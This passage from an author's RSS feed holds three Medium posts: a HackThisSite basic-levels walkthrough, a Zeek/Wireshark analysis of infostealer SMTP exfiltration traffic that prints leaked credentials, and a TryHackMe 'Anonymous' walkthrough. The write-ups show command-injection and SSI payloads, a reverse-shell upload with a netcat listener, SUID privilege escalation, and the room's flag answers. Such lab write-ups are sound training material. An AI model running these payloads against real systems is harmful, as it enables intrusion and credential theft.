code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*CI3QOhGCXp1xGjAMYzwuSw.png" /></figure><p><strong>Lesson:</strong><br> Sensitive data should<strong> never be stored in client-side cod</strong>e.</p><h3>🔰 Level 2 — Authentication Logic Flaw</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*Rugu_gUUqqH8sBilotR2Zg.png" /></figure><p><strong>Concept:</strong> Improper backend validation</p><p>Here, the system <strong>doesn’t validate password existence properly</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*Prgx81Qe1m97N6ewf0sYsQ.png" /></figure><h3>Approach:</h3><ul><li>Try submitting the form <strong>without entering any password</strong></li></ul><h3>Solution:</h3><ul><li>Since no password is stored or checked, <strong>empty input = valid login</strong></li></ul><p><strong>Lesson:</strong><br> Always implement <strong>proper server-side validation</strong></p><h3>🔰 Level 3 — Directory Traversal</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*CecOLZitCaMdXJbRAPuhRw.png" /></figure><p><strong>Concept:</strong> Accessing hidden files via URL manipulation</p><h3>Approach:</h3><ul><li>Explore directories manually</li><li>Try accessing:</li></ul><pre>/missions/basic/3/password.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*pMczd56BVeXG_rBY5SJ11Q.png" /></figure><h3>Solution:</h3><ul><li>Visiting the hidden file reveals the password</li></ul><p><strong>Lesson:</strong><br> Sensitive files should be <strong>restricted with proper access control</strong></p><h3>🔰 Level 4 — Parameter Tampering (Email Manipulation)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*GTc1bzgH_W_GXxGhAqZMPQ.png" /></figure><p><strong>Concept:</strong> Modifying client-side form data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*e4Qa_k04AdofGXtJ-WYH_Q.png" /></figure><h3>Approach:</h3><ul><li>Open <strong>Inspect Element</strong></li><li>Locate email parameter</li><li>Replace:</li></ul><pre>sam@hackthissite.org → your email</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*6msGAbcxbtPmNMc8OGu-3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*b7sxjYMjy5o7Kc6ZvscU-Q.png" /></figure><h3>Solution:</h3><ul><li>Submit the form → password sent to your email</li></ul><p><strong>Lesson:</strong><br> Never trust <strong>client-side parameters</strong></p><h3>🔰 Level 5 — Repeated Parameter Tampering</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*d66N1bbKm4ga59_a6zbZXg.png" /></figure><p><strong>Concept:</strong> Same as Level 4 (reinforcement)</p><h3>Approach:</h3><ul><li>Modify email again before submission</li></ul><pre>sam@hackthissite.org → your email</pre><h3>Solution:</h3><ul><li>Password redirected to your email</li></ul><p><strong>Lesson:</strong><br> Repetition builds understanding of <strong>input manipulation attacks</strong></p><h3>🔰 Level 6 — Weak Encryption (Reversible Algorithm)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*XW-SLTeGYUr4AK5Zrb2a-g.png" /></figure><p><strong>Concept:</strong> Custom encryption flaws</p><p>The system encrypts passwords using a predictable pattern.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*RzObQo5SkOfOHCP4QRoYmg.png" /></figure><p>Let’s see how this works. I will enter the word <strong>“password”</strong> and see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*eMxYjsBNAejFv0pmvYgHEg.png" /><figcaption>Encrypted password</figcaption></figure><p>It encrypted the word i gave it, let’s give it other words to study it more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/1*VfbC2qDU0kp9L5SWYLQZuw.png" /></figure><h3>Analysis:</h3><ul><li>Converts characters to ASCII</li><li>Adds incremental values:</li><li>1st char → +0</li><li>2nd → +1</li><li>3rd → +2 …</li></ul><h3>Approach:</h3><ul><li>Reverse the logic:</li><li>Subtract values instead of adding</li></ul><h3>Solution:</h3><ul><li>Decrypt using script → retrieve password</li></ul><p>Let’s try this with simple python script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*AZxxztrOSXpLoGer2ryMGA.png" /></figure><h3>🔰 Level 7 — Command Injection</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*3dOcQ44ZTmBTl_5T_bYyjw.png" /></figure><p><strong>Concept:</strong> Executing system commands via input</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*n9TcDq1nkBXKUExfRWsj_A.png" /></figure><p>The app runs a command like:</p><pre>cal -y &lt;input&gt;</pre><h3>Approach:</h3><ul><li>Inject command:</li></ul><pre>;ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*FPHEJse_wtPtrAzUlOkbpA.png" /></figure><h3>Solution:</h3><ul><li>Lists server files</li><li>Found hidden file → retrieve password</li></ul><p><strong>Stealing the Password</strong></p><p>The screenshot below shows the result of escaping the cal command with a semi-colon and running the “ls” command. As you can see, it has listed a number of files including index.php, level7.php, cal.pl and k1kh31b1n55h.php. We already know what the other files do but what is the k1kh31b1n55h.php file for?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/1*eu_iC4JhIMMHtPiyc-fVmg.png" /><figcaption>Lists Server Files</figcaption></figure><p><strong>Command Injection Directory Listing</strong></p><p>If you copy the filename and append it to the URL in your browser, you will be taken to a page containing a string. You guessed it, the string is the password required to complete this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*qJpizQbM9XxMnhOsBWFSEw.png" /><figcaption>Password Retrieved</figcaption></figure><p><strong>Lesson:</strong><br> Always sanitize input to prevent <strong>OS command injection</strong></p><h3>🔰 Level 8 — Server-Side Include (SSI Injection)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*6yFUwz5Xttvl-5vuS3MqzQ.png" /></figure><p><strong>Concept:</strong> Injecting commands into server-side includes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*LzFqffTTmtp4GFsl23yD4A.png" /></figure><h3>Approach:</h3><p>Inject payload:</p><pre>&lt;!--#exec cmd=&quot;ls ../&quot; --&gt;</pre><p>When we submit the payload, the application will include it in the script that generates the shtml page. It will execute the payload and store the results in the shtml file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*VNhzNZ61c3p3ZEXaP3Vj-Q.png" /></figure><h3>Solution:</h3><ul><li>Lists files in parent directory</li><li>Locate password file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*rMW8tO78MCrYn74YJCvn-g.png" /><figcaption>Lists files</figcaption></figure><p>As you can see from the image below, the payload has been executed by the PHP script and the results have been stored in the shtml file. The au12ha39vc.php file appears to be the one we are looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*73J8taYjA_h94JhZ0iIytA.png" /><figcaption>Password Retrieved</figcaption></figure><h3>🔰 Level 9 — Advanced SSI Injection (Chaining Attack)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*TtSrmNpoHutcRPfRsYLe3A.png" /></figure><p><strong>Concept:</strong> Using one vulnerability to exploit another</p><p>Level 9 has no input field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*2L6MfrGiK71kLV9aS_z0rg.png" /></figure><h3>Approach:</h3><ul><li>Go back to Level 8</li><li>Modify payload to target Level 9 directory</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*Bhxh6Q06suiylHDWx8Al3w.png" /><figcaption>Modify payload to target level 9 directory</figcaption></figure><h3>Solution:</h3><ul><li>Traverse directories → find password file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*gRMZjEfM0cRR2MrywH7VJA.png" /></figure><p>Grab the file name and append it to the level 9 url. This should then show you the password which you can copy and paste it in to the level 9 password submission system to complete the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*XJBcTBGXP8XiCwfyT0mmow.png" /><figcaption>Password Retrieved</figcaption></figure><p><strong>Lesson:</strong><br> Attackers often <strong>chain vulnerabilities</strong></p><h3>🔰 Level 10 — Cookie Manipulation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*MoIWpC88uyudtCai-qJfng.png" /></figure><p><strong>Concept:</strong> Client-side authentication bypass</p><p><strong>Testing The Basic 10 Web Application</strong></p><p>After logging in to the application, you will be presented with the following page. There aren’t any hints this time, this time it’s just a password submission form. The image for the challenge mentions having to know your way around JavaScript. I’ve looked at the source and didn’t find anything interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*4TpxUSmpsKWfl8jdcsADKA.png" /></figure><p>I then fed the application some test data to see how it would respond. I tested a number of characters associated with various types of attacks but they were all sanitised. Submitting generic strings to the password input box results in an authorization error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*-G6mxKEIE-65wcrRE6tMgQ.png" /></figure><h3>Approach:</h3><ul><li>Open browser cookies</li><li>Find:</li></ul><pre>level10_authorized = no</pre><p>Change to:</p><pre>Yes</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*GR0l1O__f7DCuuTSX8kAbw.png" /><figcaption>Cookie editor</figcaption></figure><h3>Solution:</h3><ul><li>Access granted</li></ul><p><strong>Lesson:</strong><br> Never rely on <strong>client-side authentication states</strong></p><h3>🔰 Level 11 — Hidden Files &amp; Misconfiguration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*S6xE_K7kj9dGxJD_F6r0OQ.png" /></figure><p><strong>Concept:</strong> Directory enumeration + misconfigured permissions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*1H-M_jerSdZeg3y-glzT7w.png" /><figcaption>Clue points to a song by Elton John</figcaption></figure><p>Navigating to the Basic 11 page shows a sentence that includes a song title. After a bit of research, it turns out that the song was sung by Elton John.</p><h3>Approach:</h3><ul><li>Explore directories</li></ul><p>The proper way to solve this challenge is to use your whit and deductive skills. We know the song was sung by Elton John so let’s see if there is an e/l/t/o/n directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*Bsc6ZYkqWHHIEhBmHlZYLg.png" /><figcaption>Empty Directory Listing</figcaption></figure><ul><li>Check hidden files:</li></ul><pre>.htaccess</pre><p>Or not, after all that, the directory is empty. Or is it? dotfiles are hidden files on a Linux system. One particular dot file used within web environments is the .htaccess. If we navigate to the .htaccess file we can see the following data. Normally, .htaccess files are protected so they can’t be read by everyone. However, it looks like the file permissions are wrong on this one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*M6cgnyR5OU9GjoFhJx5lmQ.png" /><figcaption>.htaccess file</figcaption></figure><h3>Solution:</h3><ul><li>.htaccess reveals hidden directory (DaAnswer)</li><li>Access it → password displayed</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*FVvq9Np3_6zjo9RUHhPOyA.png" /><figcaption>DaAnswer</figcaption></figure><p>The sentence literally tells you the password. The answer is here. With the password in hand, you can head to the /11/ directory followed by index.php. That should allow you to submit the password and complete the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*cAeyA96uyPID27s8lpVC-w.png" /><figcaption>Password Submission System</figcaption></figure><p><strong>Lesson:</strong></p><ul><li>Misconfigured files can expose sensitive data</li><li>Always secure .htaccess and hidden files</li></ul><h3>Key Takeaways</h3><p>Across these 11 levels, we learned:</p><p>✔️ Client-side data is never secure<br> ✔️ Input validation is critical<br> ✔️ Avoid custom encryption<br> ✔️ Always sanitize user input<br> ✔️ Misconfigurations = major vulnerabilities<br> ✔️ Attackers think creatively and chain exploits</p><h3>Final Thoughts</h3><p>These challenges may seem simple, but they represent <strong>real-world vulnerabilities</strong> still found in production systems.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=189ad64bb69e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hands-On Network Security Analysis Using Zeek & Wireshark]]></title>
            <link>https://medium.com/@gentlerfact40/hands-on-network-security-analysis-using-zeek-wireshark-ad708c4d750c?source=rss-cecd8f1f1c5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad708c4d750c</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[networksecuritykey]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Abhijeet Mahendrakar]]></dc:creator>
            <pubDate>Tue, 17 Mar 2026 19:09:04 GMT</pubDate>
            <atom:updated>2026-03-17T19:09:04.310Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q0fwlZHN5JiHD5SQZ6XXcQ.jpeg" /></figure><h3>Investigating Malware Communication from PCAP Data</h3><p>In this hands-on project, I performed a detailed network traffic analysis on a captured PCAP file to identify suspicious activity, uncover attacker behavior, and trace malware communication patterns. This exercise simulates real-world SOC analyst workflows, where identifying Indicators of Compromise (IOCs) is critical.</p><h3>Dataset Overview</h3><ul><li><strong>File Analyzed:</strong> 2025-05-27-VIP-recovery-infection-traffic</li><li><strong>Tools Used:</strong></li><li>Wireshark → Deep packet inspection</li><li>Zeek → Log-based traffic analysis</li></ul><h3>Step 1: Traffic Inspection Using Wireshark</h3><p>I began by loading the PCAP file into Wireshark to inspect raw packet-level data.</p><h3>Key Observations:</h3><ul><li>The victim IP <strong>10.5.27.101</strong> showed heavy communication over HTTP.</li><li>A <strong>suspicious external IP (5.2.84.41)</strong> was identified communicating via <strong>SMTP protocol</strong>.</li><li>SMTP traffic immediately stood out since it often indicates:</li><li>Phishing attempts</li><li>Malware delivery</li><li>Data exfiltration</li></ul><p>This raised a red flag and guided further investigation.</p><h3>Step 2: Log Analysis Using Zeek</h3><p>Next, I parsed the PCAP using Zeek to generate structured logs for easier analysis.</p><h3>DNS Log Findings</h3><p>The suspicious IP <strong>5.2.84.41</strong> was linked to unusual DNS queries:</p><ul><li>checkip.dyndns.org</li><li>reallyfreegeoip.org</li><li>api.telegram.org</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pw4_dihuTbqUe3qqL0sNqg.png" /><figcaption>DNS Logs</figcaption></figure><h3>Why This Is Suspicious:</h3><p>These domains are commonly used for:</p><ul><li><strong>IP discovery</strong> (attacker identifying victim public IP)</li><li><strong>Geo-location tracking</strong></li><li><strong>Telegram API communication</strong> (possible C2 channel)</li></ul><p>This suggests that the malware may be:</p><ul><li>Profiling the victim system</li><li>Communicating with an external command-and-control server</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tbuY9F_Ht1DlcGHnN0OwzQ.png" /><figcaption>Files Logs</figcaption></figure><h3>Step 3: SMTP Log Analysis</h3><p>The most crucial part of this investigation came from analyzing SMTP logs.</p><h3>Key Details:</h3><ul><li><strong>Sender Email:</strong> info@testeremarketim.com</li><li><strong>Recipient Email:</strong> phinametics247@gmail.com</li><li><strong>Protocol:</strong> SMTP</li><li><strong>Timestamp:</strong> May 27, 2025</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qjiISqCIzMCGAkgFDQp9xA.png" /><figcaption>SMTP Logs</figcaption></figure><h3>Authentication Evidence:</h3><p>The attacker successfully authenticated using SMTP credentials:</p><pre>AUTH login → Authentication succeeded</pre><p>This confirms <strong>legitimate access to the mail server</strong>, making detection harder.</p><h3>Malware Execution Evidence</h3><p>The SMTP payload revealed that a <strong>malware (Stub version 4.4)</strong> was executed on the victim machine.</p><pre>220-poine.alastyr.com ESMTP Exim 4.98 #2 Tue, 27 May 2025 22:32:50 +0300 <br>220-We do not authorize the use of this system to transport unsolicited, <br>220 and/or bulk e-mail.<br><br>EHLO DESKTOP-WIN11PC<br>250-poine.alastyr.com Hello DESKTOP-WIN11PC [173.66.46.112]<br>250-SIZE 125829120<br>250-LIMITS MAILMAX=1000 RCPTMAX=50000<br>250-8BITMIME<br>250-PIPELINING<br>250-PIPECONNECT<br>250-AUTH PLAIN LOGIN<br>250-STARTTLS<br>250 HELP<br><br>AUTH login aW5mb0B0ZXN0ZXJlbWFya2V0aW0uY29t (info@testeremarketim.com)<br>334 UGFzc3dvcmQ6 (Password)<br>VGVzdGVyZTE0NTMq (Testere1453*)<br>235 Authentication succeeded<br><br>MAIL FROM: &lt;info@testeremarketim.com&gt;<br>250 OK<br>RCPT TO: &lt;phinametics247@gmail.com&gt;<br>250 Accepted<br>DATA<br>354 Enter message, ending with &quot;.&quot; on a line by itself<br>MIME-Version: 1.0<br>From: info@testeremarketim.com<br>To: phinametics247@gmail.com<br>Date: 27 May 2025 19:32:48 +0000<br>Subject: Pc Name: user1 | / VIP Recovery \<br>Content-Type: text/plain; charset=us-ascii<br>Content-Transfer-Encoding: quoted-printable<br><br>In this section the attacker found the footprint of victim like his location:<br>Country: United States<br>Country Code: US<br>Region Name: Texas<br>Region Code: TX<br>Time Zone: America/Chicago<br>Malware name with version: Stub version 4.4<br>Recovered From: Outlook<br>PW | user1 | VIP Recovery=0D=0A =0D=0A=0D=0APC Name:DESKTOP-WIN11=<br>PC=0D=0ADate and Time: 5/27/2025 / 7:32:27 PM=0D=0AClient IP: 173=<br>..66.46.112=0D=0A=0D=0ACountry Name: United States=0D=0ACountryCod=<br>e: US=0D=0ARegion Name: Texas=0D=0ARegion Code: TX=0D=0ACity: Bro=<br>wnsville=0D=0ATimeZone: America/Chicago=0D=0ALatitude: 26.9013=0D=0A=<br>Longitude: -97.2949=0D=0AStub Version: 4.4=0D=0A=0D=0A=0D=0A-----=<br>--- / VIP Recovery \ --------=0D=0ARecovered From: Outlook=0D=0AU=<br>RL: mail.who-r-u-2-me.net=0D=0AE-Mail: robert.deniro@who-r-u-2-me=<br>.net=0D=0APSWD: P@ssw0rd12345$=3D=0D=0A--------------------------=<br>-------=0D=0A =0D=0A=0D=0A=0D=0A=0D=0A=0D=0A---------------------=<br>----------------------------- .<br>250 OK id=1uK02e-0000000GWwt-0byf<br>QUIT<br>221 poine.alastyr.com closing connection</pre><h3>Victim System Information Extracted:</h3><ul><li>PC Name: DESKTOP-WIN11</li><li>User: user1</li><li>Location: Texas, USA</li><li>IP Address: 173.66.46.112</li><li>Email Client: Outlook</li></ul><h3>Data Exfiltration</h3><p>The attacker exfiltrated sensitive information via email, including:</p><ul><li>Stored credentials:</li><li>Email: robert.deniro@who-r-u-2-me.net<br>Password: P@ssw0rd12345$</li><li>System metadata (location, IP, timezone)</li><li>Application data (Outlook recovery)</li></ul><h3>Attack Pattern Identified:</h3><ol><li>Malware infects victim system</li><li>Collects credentials and system info</li><li>Sends data via SMTP to attacker-controlled email</li></ol><p>This is a <strong>classic information-stealing malware behavior</strong>.</p><h3><strong>Key Indicators of Compromise (IOCs)</strong></h3><pre>| Type       | Indicator                                                   |<br>| ---------- | ----------------------------------------------------------- |<br>| IP Address | 5.2.84.41                                                   |<br>| Victim IP  | 10.5.27.101                                                 |<br>| Domains    | checkip.dyndns.org, reallyfreegeoip.org, api.telegram.org   |<br>| Email      | [info@testeremarketim.com]                                  |<br>| Malware    | Stub v4.4                                                   |</pre><h3>Conclusion</h3><p>This investigation highlights how attackers leverage seemingly normal protocols like SMTP to exfiltrate sensitive data. By combining the strengths of Wireshark (deep inspection) and Zeek (structured logs), I was able to:</p><ul><li>Identify the infection vector</li><li>Trace attacker communication</li><li>Extract stolen data evidence</li></ul><p>This hands-on experience closely mirrors real SOC operations, where quick detection and accurate analysis are crucial for incident response.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad708c4d750c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anonymous (THM Walkthrough)]]></title>
            <link>https://medium.com/@gentlerfact40/anonymous-thm-walkthrough-bc669d2af52d?source=rss-cecd8f1f1c5b------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc669d2af52d</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[anonymous]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Abhijeet Mahendrakar]]></dc:creator>
            <pubDate>Tue, 28 Oct 2025 18:35:17 GMT</pubDate>
            <atom:updated>2025-10-28T18:35:17.060Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Task 1:</blockquote><blockquote>Phase 1:<strong>Enumeration</strong></blockquote><blockquote>Question 1: Enumerate the machine. How many ports are open : <strong>4</strong></blockquote><p>Do nmap scan to retrieve/check how many ports are open</p><h4>- nmap -sS -sV &lt;target_IP&gt;</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*F3D-SrMcXO3dhLQfj2Vgzw.png" /><figcaption><strong>nmap scan</strong></figcaption></figure><blockquote>Question 2: which service is running on port 21 : <strong>ftp </strong>(allows anonymous login</blockquote><blockquote>Question 3: What service is running on ports 139 and 445: <strong>smb</strong></blockquote><p>As per nmap scan, we recognized that ftp username connect the ftp service using</p><p>the anonymous username: <strong>ftp &lt;target_IP&gt;</strong></p><p>-Navigate to <strong>scripts</strong> directory</p><p>-List the contents to find a file named <strong>clean.sh</strong></p><p>-Use get <strong>clean.sh</strong> to download the file to your local machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*VK_5BXubrNJdnDUbmiopOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*dTy4KRSnWnTWlLDCAgsQiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*tr7ev-zyM2XeWwCSu-WpnQ.png" /></figure><blockquote>Question 4: There’s a share on the user’s computer. What’s it called : <strong>pics</strong></blockquote><p>Check for shares using <strong>smbclient -L //target_IP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*F6fB1ss88gOJ4uYW.png" /><figcaption><strong>smb shares</strong></figcaption></figure><blockquote>Phase 2:<strong>Gaining initial access</strong></blockquote><blockquote>Question 5: user.txt : <strong>90d6f992585815ff991e68748c414740</strong></blockquote><p>Examine clean.sh, Look at the content of the clean.sh file you downloaded.</p><p>It likely seems a script that cleans up the temporary files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*j6MC5nc9w5W338qE2YkKPQ.png" /><figcaption><strong>clean.sh</strong></figcaption></figure><p>Write the reverse shell script to replace the existing clean.sh</p><p>You can use bash reverse shell from resource like pentestmonkey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/1*ODoPJEedkgQWsrxvclmeTQ.png" /><figcaption><strong>reverse shell exploit</strong></figcaption></figure><p>upload the modified malicious script (clean.sh): <strong>put clean.sh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*JK0X14DOKRUPW_OKlZSqqw.png" /></figure><p>Set up a netcat listener on your attacking machine to catch the reverse shell: <strong>nc -nvlp 9999</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*PmAG5ZOVxUHu9Xs4v1D5cQ.png" /><figcaption><strong>Retrieve the user flag</strong></figcaption></figure><blockquote>Phase 3: <strong><em>Privilege Escalation</em></strong></blockquote><blockquote>Question 6: root.txt : <strong>4d930091c31a622a7ed10f27999af363</strong></blockquote><p>look for the SUID binaries that can be exploited for privilege escalation.</p><p>Run the following command:</p><h4>find /usr/bin -perm -u=s -type f 2&gt;/dev/null</h4><p>The search reveals the several files. But the one of interest is <strong>/usr/bin/env</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*8aW1XxW-n5nxBU9WAMrgNg.png" /></figure><p>Consult the <strong>GTFOBins</strong>: ( <strong>“/bin/sh -p”</strong> ) This resource provides information</p><p>on how to exploit binaries with misconfigured permissions.</p><p>Execute the exploit using the following command:</p><h4>/usr/bin/env /bin/sh -p</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*HadqXccG63L-JnrDIcp46w.png" /><figcaption><strong>Retrieve the root flag</strong></figcaption></figure><p>now you have the root access navigate to root directory.</p><p>Hii, if you enjoyed this article and it helps to solve the challenge of Anonymous in THM, make sure give me likes, shares and follow me, and i will be grateful to get a chance to connect with more expertise for exploring new ideas, building new innovative projects, or learning from your experiences. I’d love to have to conversation with you. I&#39;m driven my skills in cybersecurity for best meaning-full purposes with new tools and help secure the digital world.</p><p>Here is my LinkedIn profile: <a href="https://www.linkedin.com/in/abhijeet-mahendrakar-905692232/">Abhijeet Mahendrakar | LinkedIn</a></p><p>if you&#39;re open to connect, be happy to reach me out.</p><p><a href="https://medium.com/u/7e2511c53c91">Anonymous</a> <a href="https://medium.com/u/d84855e09623">Tryhackme</a> <a href="https://medium.com/u/f83b74e08727">CyberSecurity</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc669d2af52d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>